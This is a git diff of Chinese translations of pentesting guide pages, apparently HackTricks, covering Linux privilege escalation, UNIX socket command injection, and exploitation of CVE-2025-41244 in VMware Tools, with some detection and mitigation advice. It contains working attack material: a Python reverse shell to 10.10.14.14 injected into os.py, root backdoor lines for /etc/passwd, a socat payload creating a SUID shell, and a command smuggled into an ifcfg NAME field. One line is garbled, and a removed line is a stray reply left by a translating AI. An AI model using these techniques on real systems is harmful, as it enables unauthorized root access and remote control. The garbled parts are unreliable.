+### Profiles files
-文件 `/etc/profile` 及 `/etc/profile.d/` 下的文件是 **当用户运行新 shell 时执行的脚本**。因此,如果你能够 **写入或修改其中任何一个文件,你就可以提升权限**。
+文件 `/etc/profile` 和 `/etc/profile.d/` 下的文件是**当用户运行一个新的 shell 时会执行的脚本**。因此,如果你可以**写入或修改其中的任何一个,你就可以提升权限**。
```bash
ls -l /etc/profile /etc/profile.d/
```
-如果发现任何异常的 profile 脚本,应检查其中是否包含 **敏感细节**。
+如果发现任何可疑的 profile 脚本,你应该检查它是否包含 **敏感信息**。
### Passwd/Shadow 文件
-根据不同的操作系统,`/etc/passwd` 和 `/etc/shadow` 文件可能使用不同的名称或存在备份。因此建议**找到所有相关文件**并**检查是否能读取**,以查看文件中是否包含**哈希**:
+根据操作系统,`/etc/passwd` 和 `/etc/shadow` 可能使用不同的名称或存在备份。因此建议 **查找所有这些文件** 并 **检查是否能读取它们**,以查看文件中 **是否包含哈希**:
```bash
#Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
@@ -1283,13 +1286,13 @@ grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/
```
### 可写的 /etc/passwd
-首先,使用以下命令之一生成一个密码。
+首先,使用下列命令之一生成一个密码。
```
openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'
```
-我需要 README.md 的内容才能进行翻译并在文档中加入创建用户的说明。请粘贴 src/linux-hardening/privilege-escalation/README.md 的内容,或者确认是否由我生成一个随机密码(默认 16 字符强密码)并把创建用户 `hacker` 并设置该密码的命令示例加入翻译文档。要我继续吗?
+然后添加用户 `hacker` 并添加生成的密码。
```
hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
```
@@ -1297,33 +1300,34 @@ hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
现在你可以使用 `su` 命令并使用 `hacker:hacker`
-或者,你可以使用以下行来添加一个没有密码的伪用户.\ 警告:你可能会降低机器当前的安全性。
+或者,你可以使用以下行来添加一个无密码的伪用户。\
+警告:这可能会降低当前机器的安全性。
```
echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy
```
-注意:在 BSD 平台中 `/etc/passwd` 位于 `/etc/pwd.db` 和 `/etc/master.passwd`,同时 `/etc/shadow` 被重命名为 `/etc/spwd.db`。
+注意:在 BSD 平台上 `/etc/passwd` 位于 `/etc/pwd.db` 和 `/etc/master.passwd`,另外 `/etc/shadow` 被重命名为 `/etc/spwd.db`。
-你应该检查是否可以 **写入某些敏感文件**。例如,你能写入某个 **服务配置文件** 吗?
+你应该检查是否可以**写入某些敏感文件**。例如,你能否写入某些**服务配置文件**?
```bash
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user
```
-例如,如果机器正在运行 **tomcat** 服务器,并且您可以 **修改 /etc/systemd/ 中的 Tomcat 服务配置文件,** 那么您可以修改以下几行:
+例如,如果机器正在运行一个 **tomcat** 服务器并且你可以 **modify the Tomcat service configuration file inside /etc/systemd/,** 那么你可以修改以下行:
```
ExecStart=/path/to/backdoor
User=root
Group=root
```
-你的 backdoor 将在下次 tomcat 启动时被执行。
+你的 backdoor 将在下次启动 tomcat 时被执行。
-### 检查文件夹
+### Check Folders
-以下文件夹可能包含备份或有趣的信息: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (可能你无法读取最后一个,但还是试试)
+以下文件夹可能包含备份或有趣的信息: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (最后一个你可能无法读取,但可以尝试)
```bash
ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root
```
-### 奇怪的位置/Owned 文件
+### 异常位置/Owned files
```bash
#root owned files in /home folders
find /home -user root 2>/dev/null
@@ -1356,7 +1360,7 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam
```bash
find / -type f -iname ".*" -ls 2>/dev/null
```
-### **PATH 中的脚本/二进制文件**
+### **PATH 中的 Script/Binaries**
```bash
for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done
@@ -1374,18 +1378,18 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam
```
### 已知包含密码的文件
-阅读 [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) 的代码,它会搜索 **多个可能包含密码的文件**。\
-**另一个有趣的工具** 是: [**LaZagne**](https://github.com/AlessandroZ/LaZagne),这是一个开源应用程序,用于检索存储在本地计算机上的大量密码,适用于 Windows, Linux & Mac。
+查看 [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) 的代码,它会搜索 **多个可能包含密码的文件**。\
+**另一个有趣的工具** 可以用来做这件事的是: [**LaZagne**](https://github.com/AlessandroZ/LaZagne),它是一个开源应用程序,用于检索存储在本地计算机上的大量密码,支持 Windows、Linux & Mac。
### 日志
-如果你能读取日志,可能会在其中找到 **有趣/机密的信息**。日志越异常,可能越有价值(大概率)。\
-此外,某些“**坏**”配置(可能被后门?)的 **audit logs** 可能允许你**将密码写入这些 audit logs**,如这篇文章所述: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/].
+如果你能读取日志,你可能能够在其中找到 **有趣/机密的信息**。日志越奇怪,可能越有价值(可能)。\
+另外,一些“**错误配置的**”(或被植入后门?)**审计日志** 可能允许你在审计日志中**记录密码**,正如这篇文章所解释的: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
```bash
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
```
-为了 **读取日志的组** [**adm**](interesting-groups-linux-pe/index.html#adm-group) 会非常有用。
+为了 **读取日志,该组** [**adm**](interesting-groups-linux-pe/index.html#adm-group) 会非常有用。
### Shell 文件
```bash
@@ -1398,22 +1402,22 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
~/.zlogin #zsh shell
~/.zshrc #zsh shell
```
-### 通用凭证搜索/Regex
+### Generic Creds Search/Regex
-你还应该检查包含单词 "**password**" 的文件,无论是在它的 **name** 或者在 **content** 中,并且也要检查 logs 中的 IPs 和 emails,或 hashes regexps。\
-我不会在这里列出如何做到所有这些,但如果你感兴趣可以查看 [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) 执行的最后一些检查。
+你还应该检查文件名或内容中包含 "**password**" 这个词的文件,并且检查日志中是否包含 IP 和 邮件地址,或哈希的正则表达式。\
+我不会在这里列出如何完成所有这些检查,但如果你感兴趣,可以查看 [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) 执行的最后几项检查。
## 可写文件
### Python library hijacking
-如果你知道 python 脚本将从 **哪里** 被执行,并且你 **可以在该文件夹中写入** 或者你可以 **修改 python libraries**,你就可以修改 OS library 并给它植入 backdoor(如果你可以写入 python 脚本将被执行的位置,就复制并粘贴 os.py library)。
+如果你知道 python 脚本将从 **在哪里** 被执行,并且你 **可以在该文件夹写入** 或者 **修改 python libraries**,你就可以修改 OS 库 并对其进行 backdoor(如果你能在 python 脚本将被执行的位置写入,复制并粘贴 os.py library)。
-要**backdoor the library**,只需在 os.py library 的末尾添加以下行(更改 IP 和 PORT):
+要 **backdoor the library**,只需在 os.py library 的末尾添加以下行(更改 IP 和 PORT):
```python
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
```
-### Logrotate 漏洞利用
+### Logrotate 利用
A vulnerability in `logrotate` lets users with **write permissions** on a log file or its parent directories potentially gain escalated privileges. This is because `logrotate`, often running as **root**, can be manipulated to execute arbitrary files, especially in directories like _**/etc/bash_completion.d/**_. It's important to check permissions not just in _/var/log_ but also in any directory where log rotation is applied.
@@ -1430,29 +1434,29 @@ This vulnerability is very similar to [**CVE-2016-1247**](https://www.cvedetails
**漏洞参考:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
-If, for whatever reason, a user is able to **write** an `ifcf-` script to _/etc/sysconfig/network-scripts_ **or** it can **adjust** an existing one, then your **system is pwned**.
+如果出于任何原因,用户能够在 _/etc/sysconfig/network-scripts_ **写入** 一个 `ifcf-` 脚本,或者能够 **调整** 一个已有脚本,那么你的 **system is pwned**。
-网络脚本,例如 _ifcg-eth0_,用于网络连接。它们看起来就像 .INI 文件。但是,它们在 Linux 上被 Network Manager(dispatcher.d)以 \~sourced\~ 的方式加载。
+Network scripts,例如 _ifcg-eth0_,用于网络连接。它们看起来就像 .INI 文件。然而,它们在 Linux 上被 \~sourced\~,由 Network Manager (dispatcher.d) 执行。
-在我的例子中,这些网络脚本中的 `NAME=` 属性未被正确处理。**名称中包含空白/空格时,系统会尝试执行空白/空格之后的部分**。这意味着 **第一个空格之后的所有内容都会以 root 身份执行**。
+在我的案例中,这些 network 脚本中的 `NAME=` 属性没有被正确处理。如果名称中有 **空白/空格,系统会尝试执行空白/空格之后的部分**。这意味着 **第一个空格之后的所有内容都会以 root 身份执行**。
-例如: _/etc/sysconfig/network-scripts/ifcfg-1337_
+For example: _/etc/sysconfig/network-scripts/ifcfg-1337_
```bash
NAME=Network /bin/id
ONBOOT=yes
DEVICE=eth0
```
-(_注意 Network 和 /bin/id 之间的空格_)
+(_注意 Network 和 /bin/id_ 之间的空格_)
-### **init, init.d, systemd, 与 rc.d**
+### **init, init.d, systemd, and rc.d**
-目录 `/etc/init.d` 是 System V init (SysVinit) 的 **脚本** 存放处,也是经典的 Linux 服务管理系统。它包含用于 `start`、`stop`、`restart`,有时还有 `reload` 服务的脚本。这些脚本可以直接执行,也可以通过位于 `/etc/rc?.d/` 的符号链接来触发。在 Redhat 系统中,另一个可选路径是 `/etc/rc.d/init.d`。
+目录 `/etc/init.d` 存放用于 System V init (SysVinit) 的 **scripts**,这是 **经典的 Linux 服务管理系统**。该目录包含用于 `start`、`stop`、`restart`,有时还有 `reload` 服务的脚本。这些脚本可以直接执行,或者通过位于 `/etc/rc?.d/` 的符号链接来调用。Redhat 系统中的替代路径为 `/etc/rc.d/init.d`。
-另一方面,`/etc/init` 与 **Upstart** 相关,Upstart 是 Ubuntu 引入的较新的 **service management**,使用配置文件来管理服务任务。尽管已向 Upstart 迁移,但由于 Upstart 的兼容层,SysVinit 脚本仍然与 Upstart 配置一起使用。
+另一方面,`/etc/init` 与 **Upstart** 相关联,Upstart 是 Ubuntu 引入的较新 **service management**,使用配置文件来管理服务。尽管已向 Upstart 迁移,但由于 Upstart 中的兼容层,SysVinit 脚本仍与 Upstart 配置一起被使用。
-**systemd** 作为现代的初始化与服务管理器出现,提供如按需 daemon 启动、自动挂载管理和系统状态快照等高级功能。它将文件组织在 `/usr/lib/systemd/`(发行版包)和 `/etc/systemd/system/`(管理员修改)中,从而简化系统管理流程。
+**systemd** 作为现代的初始化和服务管理器出现,提供了按需启动守护进程、automount 管理和系统状态快照等高级功能。它将文件组织在 `/usr/lib/systemd/`(发行版包)和 `/etc/systemd/system/`(管理员修改)中,从而简化了系统管理流程。
-## 其他技巧
+## Other Tricks
### NFS Privilege escalation
@@ -1477,18 +1481,19 @@ cisco-vmanage.md
## Android rooting frameworks: manager-channel abuse
-Android rooting frameworks 通常会 hook 一个 syscall,将有权限的内核功能暴露给一个 userspace manager。弱的 manager 认证(例如基于 FD-order 的签名校验或糟糕的密码方案)可能允许本地应用冒充该 manager,并在已 root 的设备上提升为 root。了解更多及利用细节见:
+Android rooting frameworks 通常 hook 一个 syscall,以将特权的内核功能暴露给 userspace manager。弱的 manager 认证(例如基于 FD-order 的签名校验或糟糕的密码方案)可能允许本地应用冒充该 manager,从而在已经 root 的设备上升级为 root。更多信息和利用细节见:
{{#ref}}
android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
{{#endref}}
-## VMware Tools service discovery LPE (CWE-426) 通过 regex-based exec (CVE-2025-41244)
+## VMware Tools service discovery LPE (CWE-426) via regex-based exec (CVE-2025-41244)
-VMware Tools/Aria Operations 中基于 regex 的 service discovery 可以从进程命令行中提取二进制路径并在特权上下文中以 -v 执行。宽松的模式(例如使用 \S)可能匹配位于可写位置(例如 /tmp/httpd)的攻击者放置的监听器,导致以 root 执行(CWE-426 Untrusted Search Path)。
+VMware Tools/Aria Operations 中基于 regex 的 service discovery 可能会从进程命令行中提取二进制路径并在特权上下文下以 -v 执行它。宽松的匹配模式(例如使用 \S)可能会匹配攻击者放在可写位置(例如 /tmp/httpd)中的监听器,导致以 root 身份执行(CWE-426 Untrusted Search Path)。
+
+了解更多并查看适用于其他 discovery/monitoring stacks 的通用模式:
-了解更多并查看适用于其他 discovery/monitoring 堆栈的通用模式:
{{#ref}}
vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md
diff --git a/src/linux-hardening/privilege-escalation/socket-command-injection.md b/src/linux-hardening/privilege-escalation/socket-command-injection.md
index 13a5a101a..a74224c22 100644
--- a/src/linux-hardening/privilege-escalation/socket-command-injection.md
+++ b/src/linux-hardening/privilege-escalation/socket-command-injection.md
@@ -2,9 +2,9 @@
{{#include ../../banners/hacktricks-training.md}}
-## Socket binding example with Python
+## Socket binding 示例(Python)
-在下面的示例中,会创建一个 **unix socket** (`/tmp/socket_test.s`),接收到的所有内容都会被 `os.system` **执行**。我知道你在现实中可能找不到这样的例子,但这个示例的目的是让你看到使用 unix sockets 的代码长什么样,并在最坏的情况下如何处理输入。
+在下面的示例中,会创建一个 **unix socket** (`/tmp/socket_test.s`),并且所有被 **接收** 的内容都会被 `os.system` **执行**。我知道你在现实中不会遇到这种情况,但这个示例的目的是展示使用 unix sockets 的代码是什么样子,以及在最糟糕的情况下如何处理输入。
```python:s.py
import socket
import os, os.path
@@ -26,26 +26,26 @@ print(datagram)
os.system(datagram)
conn.close()
```
-**执行** 使用 python 运行代码: `python s.py` 并 **检查 socket 的监听状态**:
+**执行** 使用 python 运行代码: `python s.py` 并 **检查 socket 的监听情况**:
```python
netstat -a -p --unix | grep "socket_test"
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
unix 2 [ ACC ] STREAM LISTENING 901181 132748/python /tmp/socket_test.s
```
-**Exploit**
+**漏洞利用**
```python
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s
```
-## Case study: Root-owned UNIX socket signal-triggered escalation (LG webOS)
+## 案例研究:root 所有的 UNIX socket 基于信号触发的提权 (LG webOS)
-一些特权 daemon 会暴露一个 root-owned UNIX socket,该 socket 接受不受信任的输入,并将特权操作与 thread-IDs 和 signals 关联。如果协议允许 unprivileged client 影响哪个 native thread 成为目标,你可能能够触发特权代码路径并实现提权。
+一些具有特权的 daemons 会暴露一个 root 所有的 UNIX socket,接受不可信的输入,并将特权操作与 thread-IDs 和 signals 绑定。如果该协议允许非特权客户端影响被定位的 native thread,你可能能够触发一个特权代码路径并提权。
Observed pattern:
-- 连接到一个 root-owned socket(例如 /tmp/remotelogger)。
-- 创建一个 thread 并获取其 native thread id (TID)。
-- 将 TID(packed)加上 padding 作为请求发送;接收 acknowledgement。
-- 向该 TID 发送特定的 signal 以触发特权 behaviour。
+- Connect to a root-owned socket (e.g., /tmp/remotelogger).
+- Create a thread and obtain its native thread id (TID).
+- Send the TID (packed) plus padding as a request; receive an acknowledgement.
+- Deliver a specific signal to that TID to trigger the privileged behaviour.
Minimal PoC sketch:
```python
@@ -59,16 +59,16 @@ s.sendall(struct.pack('&1 | nc 23231 > /tmp/f
```
-说明:
-- 这类漏洞源于信任从非特权客户端状态派生的值(TIDs),并将其绑定到特权的信号处理程序或逻辑上。
-- 通过在 socket 上强制验证凭据、校验消息格式,并将特权操作与外部提供的线程标识符分离来加固。
+说明:
+- 这类漏洞产生于信任来自非特权客户端状态(TIDs)的值,并将这些值绑定到特权的 signal handlers 或逻辑上。
+- 通过在 socket 上强制验证 credentials、校验 message formats,并将特权操作与外部提供的 thread identifiers 解耦来加固。
-## References
+## 参考资料
- [LG WebOS TV Path Traversal, Authentication Bypass and Full Device Takeover (SSD Disclosure)](https://ssd-disclosure.com/lg-webos-tv-path-traversal-authentication-bypass-and-full-device-takeover/)
diff --git a/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md b/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md
index d597fb096..97a1a0d74 100644
--- a/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md
+++ b/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md
@@ -2,22 +2,22 @@
{{#include ../../banners/hacktricks-training.md}}
-本技术滥用基于正则的 service discovery 管道,这些管道解析正在运行的进程命令行以推断服务版本,然后使用 "version" 标志执行候选二进制。当宽松的模式接受不受信任、由攻击者控制的路径(例如 /tmp/httpd)时,具有特权的采集程序会从该不受信任的位置执行任意二进制,从而导致本地权限提升。NVISO 在 VMware Tools/Aria Operations Service Discovery 中记录了这项问题,标识为 CVE-2025-41244。
+该技术滥用基于 regex 的 service discovery 管道,这些管道解析正在运行的进程命令行以推断服务版本,然后使用“version”标志执行候选二进制文件。当宽松的模式接受不受信任、攻击者可控的路径(例如 /tmp/httpd)时,具有特权的 collector 会从不受信任的位置执行任意二进制文件,导致本地权限提升。NVISO 在 VMware Tools/Aria Operations Service Discovery 中将此问题记录为 CVE-2025-41244。
-- Impact: Local privilege escalation to root (or to the privileged discovery account)
-- Root cause: Untrusted Search Path (CWE-426) + permissive regex matching of process command lines
-- Affected: open-vm-tools/VMware Tools on Linux (credential-less discovery), VMware Aria Operations SDMP (credential-based discovery via Tools/proxy)
+- 影响:本地权限提升至 root(或提升到具有特权的 discovery 账户)
+- 根本原因:Untrusted Search Path (CWE-426) + 对进程命令行的宽松 regex 匹配
+- 受影响:open-vm-tools/VMware Tools 在 Linux 上(credential-less discovery),VMware Aria Operations SDMP(通过 Tools/proxy 的 credential-based discovery)
## How VMware service discovery works (high level)
-- Credential-based (legacy): Aria executes discovery scripts inside the guest via VMware Tools using configured privileged credentials.
-- Credential-less (modern): Discovery logic runs within VMware Tools, already privileged in the guest.
+- Credential-based (legacy):Aria 使用配置的特权凭证通过 VMware Tools 在 guest 内执行 discovery 脚本。
+- Credential-less (modern):Discovery 逻辑运行在 VMware Tools 中,已在 guest 中具有特权。
-Both modes ultimately run shell logic that scans processes with listening sockets, extracts a matching command path via a regex, and executes the first argv token with a version flag.
+两种模式最终都会运行 shell 逻辑:扫描具有监听 sockets 的进程,通过 regex 提取匹配的命令路径,并以 version flag 执行第一个 argv token。
## Root cause and vulnerable pattern (open-vm-tools)
-In open-vm-tools, the serviceDiscovery plugin script get-versions.sh matches candidate binaries using broad regular expressions and executes the first token without any trusted-path validation:
+在 open-vm-tools 中,serviceDiscovery 插件脚本 get-versions.sh 使用宽泛的正则表达式匹配候选二进制文件,并在没有任何受信任路径验证的情况下执行第一个 token:
```bash
get_version() {
PATTERN=$1
@@ -29,7 +29,7 @@ COMMAND=$(get_command_line $p | grep -Eo "$PATTERN")
done
}
```
-它以包含 \S (non-whitespace) 的宽松模式被调用,这些模式会轻易匹配位于用户可写位置的非系统路径:
+它以包含 \S(非空白)的宽松模式调用,这会轻易匹配用户可写位置中的非系统路径:
```bash
get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v
get_version "/usr/(bin|sbin)/apache\S*" -v
@@ -38,21 +38,21 @@ get_version "\.?/\S*nginx($|\s)" -v
get_version "/\S+/srm/bin/vmware-dr($|\s)" --version
get_version "/\S+/dataserver($|\s)" -v
```
-- 提取使用 grep -Eo 并取第一个标记:${COMMAND%%[[:space:]]*}
-- 没有受信任系统路径的白名单/允许列表;任何具有匹配名称的已发现监听器都会以 -v/--version 被执行
+- Extraction uses grep -Eo and takes the first token: ${COMMAND%%[[:space:]]*}
+- 没有受信任系统路径的白名单/允许列表;任何具有匹配名称的被发现的 listener 都会以 -v/--version 被执行
This creates an untrusted search path execution primitive: arbitrary binaries located in world-writable directories (e.g., /tmp/httpd) get executed by a privileged component.
-## 利用(包括无凭证和基于凭证的模式)
+## 利用(无凭证与有凭证模式)
-先决条件
-- 你可以在客户机上运行一个非特权进程,该进程打开一个监听套接字。
-- 发现任务已启用并定期运行(历史上约每 5 分钟)。
+前提条件
+- 你可以在 guest 上运行一个非特权进程并打开一个监听套接字。
+- discovery job 已启用并周期性运行(历史上约为 ~5 分钟)。
步骤
-1) 将二进制文件放置到匹配某个宽松正则 (permissive regexes) 的路径中,例如 /tmp/httpd 或 ./nginx
-2) 以低权限用户运行它,并确保它打开了某个监听套接字
-3) 等待发现周期;特权收集器会自动执行:/tmp/httpd -v(或类似),以 root 身份运行你的程序
+1) 将二进制文件放置在匹配其中一个宽松正则表达式的路径中,例如 /tmp/httpd 或 ./nginx
+2) 以低权限用户运行它并确保它打开任意监听套接字
+3) 等待发现周期;特权 collector 会自动执行:/tmp/httpd -v(或类似),以 root 身份运行你的程序
Minimal demo (using NVISO’s approach)
```bash
@@ -66,58 +66,58 @@ chmod +x /tmp/httpd
# After the next cycle, expect a root shell or your privileged action
```
典型进程谱系
-- 基于凭证: /usr/bin/vmtoolsd -> /bin/sh /tmp/VMware-SDMP-Scripts-.../script_...sh -> /tmp/httpd -v -> /bin/sh -i
-- 无凭证: /bin/sh .../get-versions.sh -> /tmp/httpd -v -> /bin/sh -i
+- Credential-based: /usr/bin/vmtoolsd -> /bin/sh /tmp/VMware-SDMP-Scripts-.../script_...sh -> /tmp/httpd -v -> /bin/sh -i
+- Credential-less: /bin/sh .../get-versions.sh -> /tmp/httpd -v -> /bin/sh -i
-工件 (基于凭证)
-恢复的 SDMP wrapper scripts 位于 /tmp/VMware-SDMP-Scripts-{UUID}/,可能显示对恶意路径的直接执行:
+工件 (credential-based)
+位于 /tmp/VMware-SDMP-Scripts-{UUID}/ 下恢复的 SDMP 包装脚本可能会显示对恶意路径的直接执行:
```bash
/tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stderr"
```
-## Generalizing the technique: regex-driven discovery abuse (portable pattern)
+## 技术泛化: regex-driven discovery abuse (portable pattern)
-许多 agents 和监控套件通过以下方式实现版本/服务发现:
+许多 agent 和监控套件通过以下方式实现版本/服务发现:
- 枚举具有监听套接字的进程
-- 在 argv/命令行上使用宽松的正则进行匹配(例如包含 \S 的模式)
-- 使用无害的标志执行匹配到的路径,例如 -v、--version、-V、-h
+- Grepping argv/command lines with permissive regexes (e.g., patterns containing \S)
+- 执行匹配到的路径并带上无害的标志,例如 -v, --version, -V, -h
-如果正则接受不受信任的路径且该路径在特权上下文中被执行,就会导致 CWE-426 Untrusted Search Path 执行。
+如果 regex 接受不受信任的路径并且该路径是在有特权的上下文中被执行,就会导致 CWE-426 Untrusted Search Path execution。
-Abuse recipe
-- 将你的二进制命名为正则很可能匹配的常见 daemon:httpd、nginx、mysqld、dataserver
-- 将其放置在可写目录:/tmp/httpd、./nginx
-- 确保它能匹配正则并打开任意端口以供枚举
-- 等待计划的采集器;你会获得自动的特权调用 -v
+滥用流程
+- 将你的二进制命名为那些 regex 很可能匹配的常见守护进程名称:httpd, nginx, mysqld, dataserver
+- 将其放在可写目录中:/tmp/httpd, ./nginx
+- 确保它匹配 regex 并打开任意端口以便被枚举
+- 等待计划的收集器;你将获得对 -v 的自动特权调用
-Masquerading note: 这与 MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) 一致,用以提高匹配概率并增加隐蔽性。
+伪装说明:这与 MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) 一致,用于提高匹配概率和隐蔽性。
-Reusable privileged I/O relay trick
-- 构建你的 helper,使得在特权调用(-v/--version)时,它连接到一个已知的 rendezvous(例如 Linux 抽象 UNIX socket 如 @cve)并将 stdio 桥接到 /bin/sh -i。这样避免了磁盘上的痕迹,并在许多环境中有效,其中同一个二进制会被带标志再次调用。
+可重用的特权 I/O 中继技巧
+- 构建你的辅助程序,使得在特权调用(-v/--version)时它连接到已知的 rendezvous(例如,像 @cve 这样的 Linux 抽象 UNIX socket)并将 stdio 桥接到 /bin/sh -i。这样可以避免在磁盘上的痕迹,并且在许多环境中有效,尤其是当同一二进制以标志重新被调用时。
-## Detection and DFIR guidance
+## 检测与 DFIR 指南
Hunting queries
-- vmtoolsd 或 get-versions.sh 的非常见子进程,例如 /tmp/httpd、./nginx、/tmp/mysqld
-- 任何由发现脚本执行的非系统绝对路径(查看 ${COMMAND%%...} 展开中是否有空格)
-- 使用 ps -ef --forest 可视化血统树:vmtoolsd -> get-versions.sh ->
+- vmtoolsd 或 get-versions.sh 的非常见子进程,例如 /tmp/httpd, ./nginx, /tmp/mysqld
+- 任何由发现脚本执行的非系统绝对路径(在 ${COMMAND%%...} 展开中查找空格)
+- 使用 ps -ef --forest 可视化祖先树:vmtoolsd -> get-versions.sh ->
On Aria SDMP (credential-based)
-- 检查 /tmp/VMware-SDMP-Scripts-{UUID}/ 中的临时脚本和 stdout/stderr 产物,查找显示执行攻击者路径的痕迹
+- 检查 /tmp/VMware-SDMP-Scripts-{UUID}/ 是否存在临时脚本和 stdout/stderr 工件,显示攻击者路径的执行
Policy/telemetry
-- 当特权采集器从非系统前缀执行时发出告警:^/(tmp|home|var/tmp|dev/shm)/
-- 对 get-versions.sh 和 VMware Tools 插件做文件完整性监控
+- 当特权收集器从非系统前缀执行时发出告警: ^/(tmp|home|var/tmp|dev/shm)/
+- 对 get-versions.sh 和 VMware Tools 插件实施文件完整性监控
-## Mitigations
+## 缓解措施
- Patch:为 CVE-2025-41244(Tools 和 Aria Operations SDMP)应用 Broadcom/VMware 更新
-- 在可行时禁用或限制 credential-less discovery
-- 验证受信任路径:将执行限制在允许列表目录 (/usr/sbin、/usr/bin、/sbin、/bin) 且仅限精确已知的二进制
-- 避免使用包含 \S 的宽松正则;优先使用锚定的、明确的绝对路径和精确命令名
-- 在可能时为发现 helper 降低权限;使用沙箱(seccomp/AppArmor)以减少影响
-- 监控并对 vmtoolsd/get-versions.sh 执行非系统路径发出告警
+- 在可行的情况下禁用或限制无凭据的发现
+- 验证受信路径:将执行限制为允许的目录 (/usr/sbin, /usr/bin, /sbin, /bin) 并仅允许精确已知的二进制
+- 避免使用带有 \S 的宽松 regex;优先使用锚定的、明确的绝对路径和精确命令名
+- 在可能的情况下为发现 helper 降低权限;使用沙箱(seccomp/AppArmor)以减少影响
+- 监控并对 vmtoolsd/get-versions.sh 执行非系统路径时发出告警
-## Notes for defenders and implementers
+## 给防御者和实现者的说明
Safer matching and execution pattern
```bash
@@ -137,8 +137,8 @@ esac
```
## 参考资料
-- [NVISO – 你说什么,VMware 就提升它 (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/)
-- [Broadcom 针对 CVE-2025-41244 的安全通告](https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/36149)
+- [NVISO – You name it, VMware elevates it (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/)
+- [Broadcom advisory for CVE-2025-41244](https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/36149)
- [open-vm-tools – serviceDiscovery/get-versions.sh (stable-13.0.0)](https://github.com/vmware/open-vm-tools/blob/stable-13.0.0/open-vm-tools/services/plugins/serviceDiscovery/get-versions.sh)
- [MITRE ATT&CK T1036.005 – Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005/)
- [CWE-426: Untrusted Search Path](https://cwe.mitre.org/data/definitions/426.html)
diff --git a/src/network-services-pentesting/pentesting-web/ruby-tricks.md b/src/network-services-pentesting/pentesting-web/ruby-tricks.md
index 45b088bed..407c859f6 100644
--- a/src/network-services-pentesting/pentesting-web/ruby-tricks.md
+++ b/src/network-services-pentesting/pentesting-web/ruby-tricks.md
@@ -1,18 +1,18 @@
-# Ruby Tricks
+# Ruby 技巧
{{#include ../../banners/hacktricks-training.md}}
-## File upload to RCE
+## 文件上传导致 RCE
-如 [this article](https://www.offsec.com/blog/cve-2024-46986/) 所述,将 `.rb` 文件上传到诸如 `config/initializers/` 的敏感目录可能导致 Ruby on Rails 应用发生远程代码执行 (RCE)。
